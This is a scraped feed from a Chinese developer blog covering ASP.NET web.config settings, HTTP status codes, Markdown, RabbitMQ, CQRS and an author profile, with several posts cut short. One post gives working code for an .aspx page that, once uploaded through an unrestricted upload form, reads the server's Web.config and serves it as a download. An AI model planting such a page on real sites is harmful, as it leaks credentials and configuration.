            Protection: 指定 cookie数据的保护方式. 可设置为:All表示加密数据，并进行有效性验证两种方式，
                        None表示不保护Cookie，Encryption表示对Cookie内容进行加密，validation表示对Cookie内容进行有效性验证，
            TimeOut: 指定Cookie的失效时间. 超时后要重新登录。-->
        <forms name=".ASPXUSERDEMO" loginUrl="Login.aspx" protection="All" timeout="30"/>

      </authentication>

      <!--控制对 URL 资源的客户端访问（如允许匿名用户访问）。此元素可以在任何级别（计算机、站点、应用程序、子目录或页）上声明。
          必需与<authentication> 节配合使用。此处的意思是对匿名用户不进行身份验证。拒绝用户weipeng-->
      <authorization>
        <allow users="*"/>
        <deny users="weipeng"/>
        <allow users="aa" roles="aa" />
      </authorization>


      <!--站点全球化设置.
          requestEncoding: 它用来检查每一个发来请求的编码.
          responseEncoding: 用于检查发回的响应内容编码.
          fileEncoding:用于检查aspx,asax等文件解析的默认编码,默认的编码是utf-8-->
      <globalization requestEncoding="gb2312" responseEncoding="gb2312" fileEncoding="gb2312" />

      <!--会话状态设置.
          mode: 分为off,Inproc,StateServer,SqlServer几种状态.
                mode = InProc 存储在进程中特点：具有最佳的性能，速度最快,但不能跨多台服务器存储共享.
                mode = "StateServer" 存储在状态服务器中特点:当需要跨服务器维护用户会话信息时，使用此方法.
                       但是信息存储在状态服务器上，一旦状态服务器出现故障，信息将丢失. 
                mode="SqlServer" 存储在sql server中特点:工作负载会变大，但信息不会丢失.
          stateConnectionString :指定asp.net应用程序存储远程会话状态的服务器名，默认为本机。
          sqlConnectionString:当用会话状态数据库时，在这里设置连接字符串。
          Cookieless:设置为flase时，表示使用cookie会话状态来标识客户.
          timeout表示会话超时时间。-->
      <sessionState mode="InProc" stateConnectionString="tcpip=127.0.0.1:42424" sqlConnectionString="data source=127.0.0.1;Trusted_Connection=yes" cookieless="false" timeout="20"></sessionState>

      <!--为 ASP.NET 应用程序配置页的视图状态设置。设置要存储在页历史记录中的项数。-->
      <sessionPageState historySize="9"/>

      <!--配置asp.net http运行库的设置。可以在计算机，站点，应用程序和子目录级别声明
          appRequestQueueLimit：允许最多的请求个数100，
          executionTimeout：最长允许执行请求时间为80秒，
          maxRequestLength：控制用户上传文件的大小,默认是4M。
          useFullyQualifiedRedirectUrl：客户端重定向不需要被自动转换为完全限定格式。-->
      <httpRuntime appRequestQueueLimit="100" executionTimeout="80" maxRequestLength="40960" useFullyQualifiedRedirectUrl="false"/>

      <!--httpModules在一个应用程序内配置 HTTP 模块。-->
      <httpModules>
        <add name="OutputCache" type="System.Web.Caching.OutputCacheModule" />
        <add name="Session" type="System.Web.SessionState.SessionStateModule" />
        <add name="WindowsAuthentication" type="System.Web.Security.WindowsAuthenticationModule" />
        <add name="FormsAuthentication" type="System.Web.Security.FormsAuthenticationModule" />
        <add name="PassportAuthentication" type="System.Web.Security.PassportAuthenticationModule" />
        <add name="RoleManager" type="System.Web.Security.RoleManagerModule" />
        <add name="UrlAuthorization" type="System.Web.Security.UrlAuthorizationModule" />
        <add name="FileAuthorization" type="System.Web.Security.FileAuthorizationModule" />
        <add name="AnonymousIdentification" type="System.Web.Security.AnonymousIdentificationModule" />

        <!--自定义的URL重写,type基本上就是dll名-->
        <add name="UrlRewriter" type="Intelligencia.UrlRewriter.RewriterHttpModule, Intelligencia.UrlRewriter" />
        <add name="Profile" type="System.Web.Profile.ProfileModule" />
      </httpModules>

      <!--httpHandlers用于根据用户请求的URL和HTTP谓词将用户的请求交给相应的处理程序。可以在配置级别的任何层次配置此节点，也就是说可以针对某个特定目录下指定的特殊文件进行特殊处理。
          add:指定映射到处理程序的谓词/路径。
          clear:移除当前已配置或已继承的所有处理程序映射。
          remove:移除映射到处理程序的谓词/路径。remove 指令必须与前一个 add 指令的谓词/路径组合完全匹配。该指令不支持通配符。-->
      <httpHandlers>
        <remove verb="*" path="*.asmx"/>
        <add verb="*" path="*.asmx" validate="false" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/>
        <add verb="*" path="*_AppService.axd" validate="false" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/>
        <add verb="GET,HEAD" path="ScriptResource.axd" type="System.Web.Handlers.ScriptResourceHandler, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" validate="false"/>
        <add verb="POST,GET" path="ajaxpro/*.ashx" type="AjaxPro.AjaxHandlerFactory, AjaxPro.2"/>
      </httpHandlers>

      <!--为 Web 应用程序使用的 Cookie 配置属性。
          domain:设置 Cookie 域名。
          httpOnlyCookies:在 Internet Explorer 6 SP1 中启用 HttpOnlyCookies Cookie 的输出。默认值为 false。
          requireSSL:获取一个指示是否需要安全套接字层 (SSL) 通信的值.-->
      <httpCookies httpOnlyCookies="false" requireSSL="false"/>

      <!--控制 ASP.NET Web 服务及其客户端的行为。protocols:指定传输协议，ASP.NET 可使用这些传输协议来解密 HTTP-->
      <webServices>
        <protocols>
          <add/>
        </protocols>
      </webServices>

      <!--为 Web 应用程序配置缓存设置。
          cache:定义全局应用程序缓存设置。
          outputCache :指定应用程序范围的输出缓存设置。
          outputCacheSettings:指定可以应用于应用程序中页的输出缓存设置。
          sqlCacheDependency:为 ASP.NET 应用程序配置 SQL 缓存依赖项。-->
      <caching>
        <cache disableMemoryCollection = "false" disableExpiration = "false" privateBytesLimit = "0" percentagePhysicalMemoryUsedLimit = "90" privateBytesPollTime = "00:02:00"/>
        <!--设计需要以这种方式缓存的页时，您需要向该页添加以下指令：<%@ OutputCache CacheProfile="ServerOnly" %>-->
        <outputCacheSettings>
          <outputCacheProfiles>
            <add name="ServerOnly" duration="60" varyByCustom="browser" location="Server" />
          </outputCacheProfiles>
        </outputCacheSettings>
      </caching>

    </system.web>

  </location>


  <!--网络设置，
      authenticationModules：指定用于对 Internet 请求进行身份验证的模块。
      connectionManagement：指定与 Internet 宿主的连接的最大数目。
      defaultProxy：配置超文本传输协议 (HTTP) 代理服务器。
      mailSettings：配置简单邮件传输协议 (SMTP) 邮件发送选项。
      requestCaching：控制网络请求的缓存机制。
      settings：配置 System.Net 的基本网络选项。-->
  <system.net>

    <!--配置SMTP电子邮件设置-->
    <mailSettings>
      <smtp from="weipeng">
        <network host="Gao" password="" userName="" />
      </smtp>
    </mailSettings>

    <!--禁用所有缓存-->
    <requestCaching disableAllCaching="true"></requestCaching>

    <!--指定代理地址，并对本地访问和 contoso.com 跳过代理。-->
    <defaultProxy>
      <proxy usesystemdefault="True" proxyaddress="http://192.168.1.10:3128" bypassonlocal="True"/>
      <bypasslist>
        <add address="[a-z]+".contoso=""".com" />
      </bypasslist>
    </defaultProxy>

  </system.net>


  <!--该节替换在 httpHandlers 和 httpModules 节中添加的与 AJAX 相关的 HTTP 处理程序和模块。
      该节使 IIS 7.0 在集成模式下运行时可使用这些处理程序和模块。
      在iis7.0 下运行 ASP.NET AJAX 需要 system.webServer节。对早期版本的 IIS 来说则不需要此节。 -->
  <system.webServer>
    <validation validateIntegratedModeConfiguration="false"/>
    <modules>
      <add name="ScriptModule" preCondition="integratedMode" type="System.Web.Handlers.ScriptModule, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"/>
    </modules>
    <handlers>
      <remove name="WebServiceHandlerFactory-Integrated"/>
      <add name="ScriptHandlerFactory" verb="*" path="*.asmx" preCondition="integratedMode" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"/>
      <add name="ScriptHandlerFactoryAppServices" verb="*" path="*_AppService.axd" preCondition="integratedMode" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"/>
      <add name="ScriptResource" preCondition="integratedMode" verb="GET,HEAD" path="ScriptResource.axd" type="System.Web.Handlers.ScriptResourceHandler, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"/>
    </handlers>
  </system.webServer>


  <!--ASP.NET AJAX 中配置 ASP.NET 服务-->
  <system.web.extensions>

    <!--配置 JSON 序列化-->
    <scripting>
      <webServices>
        <jsonSerialization maxJsonLength="5000"/>
      </webServices>
    </scripting>
  </system.web.extensions>


  <!--对WCF的相关配置-->
  <system.serviceModel>
    <services>
      <service name="WCFStudent.WCFStudentText" behaviorConfiguration="ServiceBehavior">
        <!-- Service Endpoints -->
        <endpoint address="" binding="wsHttpBinding" contract="WCFStudent.IStuServiceContract">
          <!-- 部署时，应删除或替换下列标识元素，以反映在其下运行部署服务的标识。删除之后，WCF 将自动推导相应标识。-->
          <identity>
            <dns value="localhost"/>
          </identity>
        </endpoint>
        <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange"/>
      </service>
    </services>
    <behaviors>
      <serviceBehaviors>
        <behavior name="ServiceBehavior">
          <!-- 为避免泄漏元数据信息，请在部署前将以下值设置为 false 并删除上面的元数据终结点 -->
          <serviceMetadata httpGetEnabled="true"/>
          <!-- 要接收故障异常详细信息以进行调试，请将以下值设置为 true。在部署前设置为 false 以避免泄漏异常信息-->
          <serviceDebug includeExceptionDetailInFaults="false"/>
        </behavior>
      </serviceBehaviors>
    </behaviors>
  </system.serviceModel>


  <!--URL重定向-->
  <rewriter>
    <rewrite url="~/user/u(.+).aspx" to="~/user/index.aspx?r=$1" />
    <rewrite url="~/ask/q(.+).aspx" to="~/home/ask/content.aspx?id=$1" />
    <rewrite url="~/blog/b(.+).aspx" to="~/home/blog/article.aspx?r=$1" />
    <rewrite url="~/news/n(.+).aspx" to="~/home/news/content.aspx?nid=$1" />
    <rewrite url="~/default.aspx" to="~/home/ram/net.aspx" />
  </rewriter>
</configuration>

HTTP协议状态码详解 HTTP Status Code

Sat, 11 Mar 2017 00:00:00 +0000

当浏览者访问一个网页时，浏览者的浏览器会向网页所在服务器发出请求。当浏览器接收并显示网页前，此网页所在的服务器会返回一个包含HTTP状态码的信息头（server header）用以响应浏览器的请求。

HTTP状态码的英文为HTTP Status Code。

下面是常见的HTTP状态码：

200 ：请求成功。
400 ：请求有语法错误。
401 ：未授权。
301 ：永久转移。
302 ：临时转移。
403 ：拒绝服务，可能是没有权限等等。
404 ：资源没找到。
500 ：服务器内部错误。
503 ：服务不可用。

1xx（临时响应）

表示临时响应并需要请求者继续执行操作的状态代码。

100 （继续）请求者应当继续提出请求。服务器返回此代码表示已收到请求的第一部分，正在等待其余部分。
101 （切换协议）请求者已要求服务器切换协议，服务器已确认并准备切换。

2xx （成功）

表示成功处理了请求的状态代码。

200 （成功）服务器已成功处理了请求。通常，这表示服务器提供了请求的网页。
201 （已创建）请求成功并且服务器创建了新的资源。
202 （已接受）服务器已接受请求，但尚未处理。
203 （非授权信息）服务器已成功处理了请求，但返回的信息可能来自另一来源。
204 （无内容）服务器成功处理了请求，但没有返回任何内容。
205 （重置内容）服务器成功处理了请求，但没有返回任何内容。
206 （部分内容）服务器成功处理了部分 GET 请求。

3xx （重定向）

表示要完成请求，需要进一步操作。通常，这些状态代码用来重定向。

300 （多种选择）针对请求，服务器可执行多种操作。服务器可根据请求者 (user agent) 选择一项操作，或提供操作列表供请求者选择。
301 （永久转移）请求的网页已永久移动到新位置。服务器返回此响应（对 GET 或 HEAD 请求的响应）时，会自动将请求者转到新位置。
302 （临时转移）服务器目前从不同位置的网页响应请求，但请求者应继续使用原有位置来进行以后的请求。
303 （查看其他位置）请求者应当对不同的位置使用单独的 GET 请求来检索响应时，服务器返回此代码。
304 （未修改）自从上次请求后，请求的网页未修改过。服务器返回此响应时，不会返回网页内容。
305 （使用代理）请求者只能使用代理访问请求的网页。如果服务器返回此响应，还表示请求者应使用代理。
307 （临时重定向）服务器目前从不同位置的网页响应请求，但请求者应继续使用原有位置来进行以后的请求。

4xx（客户端错误）

这些状态代码表示请求可能出错，妨碍了服务器的处理。

MarkDown基本语法以及相关工具笔记简单介绍

Sat, 11 Mar 2017 00:00:00 +0000

1、标题

部分工具可能只支持到三级标题

示例：

# 这是一级标题
## 这是二级标题
### 这是三级标题
#### 这是四级标题
##### 这是五级标题
###### 这是六级标题

效果：

这是一级标题

这是二级标题

这是三级标题

这是四级标题

这是五级标题

这是六级标题

2、引用内容

示例：

> 这是引用的内容  
> > 换行请按`空格+空格+Enter` 
> > > > > 这是引用的内容

效果：

这是引用的内容

换行请按空格+空格+Enter

这是引用的内容

3、超级链接

title 是鼠标放到上面显示的内容，可不填

示例：

[raikay博客1](http://blog.raikay.cn "title")  

[raikay博客2](http://blog.raikay.cn)

效果：

raikay博客1

raikay博客2

4、插入图片

示例：

![image](https://blogimg.raikay.cn/332819317882228736.png)

效果：

5、行间代码

示例：

这是行间代码`This is inline code`

效果：

这是行间代码This is inline code

6、段落代码

三个点是横排数字键 1 前面那个点，
三个点后面标明语言，会按照标明语言高亮，不标会自动识别
示例：

如何用好消息队列RabbitMQ？

Sat, 11 Mar 2017 00:00:00 +0000

一、RabbitMQ 简介

RabbitMQ 是基于 AMQP 实现的一个开源消息组件，主要用于在分布式系统中存储转发消息，由因高性能、高可用以及高扩展而出名的 Erlang 语言写成。

其中，AMQP（Advanced Message Queuing Protocol，即高级消息队列协议），是一个异步消息传递所使用的应用层协议规范，为面向消息的中间件设计。

二、为什么要用消息队列 MQ

1、业务系统往往要求响应能力特别强，能够起到削峰填谷的作用。
2、解耦：如果一个系统挂了，则不会影响另外个系统的继续运行。
3、业务系统往往有对消息的高可靠要求，以及有对复杂功能如 Ack 的要求。
4、增强业务系统的异步处理能力，减少甚至几乎不可能出现并发现象：

使用消息队列，就好比为了防汛而建葛洲坝，有大量数据的堆积能力，然后可靠地进行异步输出。例如：

传统做法存在如下问题，请见上图：

1、一旦业务处理时间超过了定时器时间间隔，就会导致漏单。
2、如果采用新开线程的方式获取数据，那么由于大量新开线程处理，会容易造成服务器宕机。
3、数据库压力大，易并发。

使用 MQ 后的好处，请见上图：

1、业务可注册、可配置。
2、获取数据规则可配置。
3、成功消费 MQ 中的消息才会被 Ack，提高可靠性。
4、大大增强了异步处理业务作业的能力：

定时从数据库获取数据后，存入 MQ 消息队列，然后 Job 会定期扫描 MQ 消息队列，假设 Job 扫描后先预取 5 条消息，然后异步处理这 5 条消息，也就是说这 5 条消息可能会同时被处理。

RabbitMQ 特点如下：

高可靠：RabbitMQ 提供了多种多样的特性让你在可靠性和性能之间做出权衡，包括持久化、发送应答、发布确认以及高可用性。

高可用队列：支持跨机器集群，支持队列安全镜像备份，消息的生产者与消费者不论哪一方出现问题，均不会影响消息的正常发出与接收。

灵活的路由：所有的消息都会通过路由器转发到各个消息队列中，RabbitMQ 内建了几个常用的路由器，并且可以通过路由器的组合以及自定义路由器插件来完成复杂的路由功能。

支持多客户端：对主流开发语言（如：Python、Ruby、.NET、Java、C、PHP、ActionScript 等）都有客户端实现。

集群：本地网络内的多个 Server 可以聚合在一起，共同组成一个逻辑上的 broker。

扩展性：支持负载均衡，动态增减服务器简单方便。

权限管理：灵活的用户角色权限管理，Virtual Host 是权限控制的最小粒度。

程序员除了会 CRUD 之外，还应该知道什么叫 CQRS！

Sat, 11 Mar 2017 00:00:00 +0000

今天主要跟大家分享一下什么是 CQRS，以及在项目中如何去使用。

1、先了解什么是CRUD系统

我们平常最熟悉的就是三层架构，通常都是通过数据访问层来修改或者查询数据，一般修改和查询使用的是相同的实体。然后通过业务层来处理业务逻辑，将处理结果封装成DTO对象返回给控制层，再通过前端渲染。反之亦然。

这里基本上是围绕关系数据库构建而成的“创建、读取、更新、删除”系统（即CRUD系统），此类系统在一些业务逻辑简单的项目中可能没有什么问题，但是随着系统逻辑变得复杂，用户增多，这种设计就会出现一些性能问题。

我们经常用到的解决方案就是对数据库进行读写分离。让主数据库处理事务性的增、删、改操作，让从数据库处理查询操作，然后主从数据库之间进行同步。但是这只是从DB角度处理了读写分离，从业务或者系统层面上来说，读和写的逻辑仍然是存放在一起的，他们都是操作同一个实体对象。

这时候，CQRS 就该登场了。

2、什么是CQRS系统

简单的说，CQRS（Command Query Responsibility Segration）就是一个系统，从架构上把 CRUD 系统拆分为两部分：命令（Command）处理和查询（Query）处理。其中命令处理包括增、删、改。

然后命令与查询两边可以用不同的架构实现，以实现CQ两端（即Command Side，简称C端；Query Side，简称Q端）的分别优化。两边所涉及到的实体对象也可以不同，从而继续演变成下面这样。

当然了，CQRS 作为一个读写分离思想的架构，在数据存储方面也没有做过多的约束。所以 CQRS可以有不同层次的实现。

3、CQRS 实现方式

CQRS 可以有两种实现方式。

1）CQ 两端数据库共享，只是在上层代码上分离。这样做的好处是可以让我们的代码读写分离，更容易维护，而且不存在 CQ 两端的数据一致性问题，因为是共享一个数据库的。这种架构是非常实用的（也就是我上面画的那种）。

2）CQ 两端不仅代码分离，数据库也分离，然后Q端数据由C端同步过来。同步方式有两种：同步或异步，如果需要 CQ 两端的强一致性，则需要用同步；如果能接受 CQ 两端数据的最终一致性，则可以使用异步。C端可以采用Event Sourcing（简称ES）模式，所有C端的最新数据全部用 Domain Event 表达即可；而要查询显示用的数据，则从Q端的 ReadDB（关系型数据库）查询即可。

4、CQRS 的简单实现

说了这么多，该怎么实现呢？我们以上面提到的第一种方式为例：代码层面实现分离，数据库共享。这种方式在企业里也非常实用。

首先有几个概念需要介绍一下，CQRS 模式中，首先需要有 Command，这个 Command 命令会对应一个实体和一个命令的执行类。那整个系统中肯定有很多不同的 Command，那么还需要一个 CommandBus 来做命令的分发处理。

可能大家觉得比较抽象，我来写几行示例代码，一看就明白了。假设有个订单模块，我要新增一个订单信息。那么根据上文的分析，需要有个新增命令以及对应的订单实体（并不一定和数据库的订单实体完全对应）。首先先创建一个命令接口（绑定命令对应的实体），接口内部有个该命令的处理方法。

public interface Command<T> {
    Object execute(T commandModel);
}


interface Command<T> {
    Object execute(T commandModel);
}

OK，接下来我们可以创建订单的新增命令了。

通过一个一般处理程序（aspx文件)直接获取服务器web.config文件

Sat, 11 Mar 2017 00:00:00 +0000

如果某个网站文件、图片上传直接存储到网站目录下，而且没限制文件格式，可上传一个aspx文件，然后直接执行

<%@ Page Language="C#" ContentType="text/html" ResponseEncoding="gb2312" %>

<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.IO"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>用户注册</title>
<script language="javascript">

</script>
<script language="c#" runat="server">
string result="";

//服务器上执行的方法
public void Page_Load(Object sender,EventArgs e)
{
            using (FileStream fs = new FileStream(Server.MapPath("/")+"Web.config", FileMode.Open, FileAccess.Read))
            {
                byte[] buffer = new byte[fs.Length];
                fs.Read(buffer, 0, buffer.Length);
                string msg = System.Text.Encoding.UTF8.GetString(buffer);
                //Response.Write(msg);

                string timeNow = DateTime.Now.ToString();
                Response.Clear();
                Response.Buffer = false;
                Response.ContentType = "application/octet-stream";
                Response.AppendHeader("content-disposition", "attachment;filename=" + "Web" + ".config;");

                Response.Write(msg);
                Response.Flush();
                Response.End();
            }
}
</script>
</head>
<body>

</body>
</html>

关于我

Wed, 06 Nov 2013 00:00:00 +0000

关于我

个人简介

你好！我是一名热爱技术的开发者，拥有12年的软件开发经验。早期深耕 .NET 技术栈，近年来聚焦 AI 与大模型应用开发，热衷于分享技术知识和最佳实践。

技术栈

后端开发: C#, ASP.NET Core, Web API, gRPC, ABP vNext, DDD, Java (Spring)
前端技术: JavaScript, Vue.js, jQuery, HTML5, CSS3
AI 与大模型: Python, LangChain, LangGraph, RAG, AI Agent, Prompt Engineering, PyTorch
数据库与中间件: MySQL, SQL Server, Entity Framework Core, Redis, RabbitMQ, Apollo
运维与 DevOps: Docker, Jenkins, GitLab CI/CD, Nginx, IIS, Linux (CentOS), 阿里云
嵌入式与物联网: Arduino, ESP8266, 传感器与远程控制
开发工具: Visual Studio, VS Code, Git

兴趣爱好

阅读技术书籍和博客
参与开源项目贡献
学习新技术和框架
健身、骑行和摄影

联系方式

邮箱: raikay@163.com
GitHub: https://github.com/raikay
微信: raikay888

感谢访问我的博客！如果你有任何问题或合作意向，请随时与我联系。

Raikay技术博客

同为 XAML + C#：一文说清 WPF、WinUI 3 与 MAUI 的本质差异

相同点：表面上的"一样”

关键差异：实质上的"不一样"

1. 目标平台与定位

2. XAML 方言与控件库

使用 PowerShell 和大模型打造中文 Git 自动提交命令

文件位置

首次配置

基本用法

工作原理

1. 检查 Git 仓库

AI Agent 工具调用：Function Call、MCP 与 A2A 技术演进

导读

一、Function Call: 最容易被误解的技术

1.1 一个常见的认知误区

1.2 Function Call 的完整四步流程

C# AI Agent 选型与框架推荐 - 2025最新指南

一、通用型开源 C# AI Agent 框架（核心推荐）

1. Semantic Kernel（微软官方）

2. LangChain.NET

WCF已退休？.NET分布式技术的历史演进与现代替代方案分析

引言

一、先澄清：WCF 不是 “临时 API 替代”，而是当年的 “全能服务框架”

二、现在的 WCF：新项目零价值，存量系统仍需 “续命”

1. 新项目为什么完全不推荐用 WCF？

数据防篡改实用方案：从原理到落地实现 - 数字签名与HMAC详解

数据防篡改实用方案：从原理到落地实现

一、数据校验的核心逻辑：给数据加 “唯一指纹”

1. 基础原理

2. 散列算法的关键特性

3. 单纯散列校验的致命漏洞

二、实用防篡改方案：代码示意

方案 1：数字签名（非对称加密）—— 适合跨主体通信（如 API、支付）

核心思路

LangGraph记忆避坑指南：自动管理为什么还不够？

一、大模型本身没有记忆

二、LangGraph自动记忆做了什么

三、为什么真实项目仍要手动管理

1. 不同节点需要不同的上下文

2. 自动保存不会自动理解历史

LangChain 与 LangGraph 实战指南

一、为什么需要 LangGraph？

二、核心概念：图 vs 链

2.1 语言模型的三种执行模式

2.2 关键术语

三、实战示例：状态管理的艺术

3.1 定义状态 (Schema)

langgraph 和 langchain 区别，实际工作中怎么使用

核心区别

举例说明

实际工作中的使用策略

RAG系统评估指南：基于RAG Assessment的指标体系与实现

一、RAG系统基础流程

二、RAG Assessment框架概述

三、四大核心评估指标

四、指标对应模块与优化方向

五、基于LangChain与Ragas的评估实现

提示词工程实战：从面试技巧到生产级 Prompt 设计

一、面试时可以这样回答

二、提示词应该包含哪些部分

1. 角色与任务目标

2. 输入定义

3. 任务步骤

赋能企业级开发：ABP vNext 高级实践与核心功能深入解析

赋能企业级开发：ABP vNext 高级实践与核心功能深入解析

一、 模块化架构：构建复杂系统的基石

二、 数据过滤器：优雅实现多租户与软删除

模型蒸馏完全指南：从BERT到BiLSTM的新闻分类实战

目录

一、为什么需要模型蒸馏？

1.1 一句话总结

1.2 现实痛点

1.3 蒸馏 vs 其他压缩方法

架构反思：引入 Redis 统计在线人数后，JWT 是否还有存在的意义？

1. 核心区别：强依赖 vs. 弱依赖

🔵 方案 A：普通 Token (Reference Token) + Redis

🔴 方案 B：JWT (Self-contained) + Redis

注意力机制是如何“注意”的？一个词看懂上下文背后的秘密

从机器指令到面向对象：编程思想的演进与领域驱动设计

一、模块化架构：构建复杂系统的基石

二、数据过滤器：优雅实现多租户与软删除

一、破除迷思：传给下一步的信息和隐藏状态是同一个东西吗？

二、隐藏状态的“双重使命”：它到底留着干啥？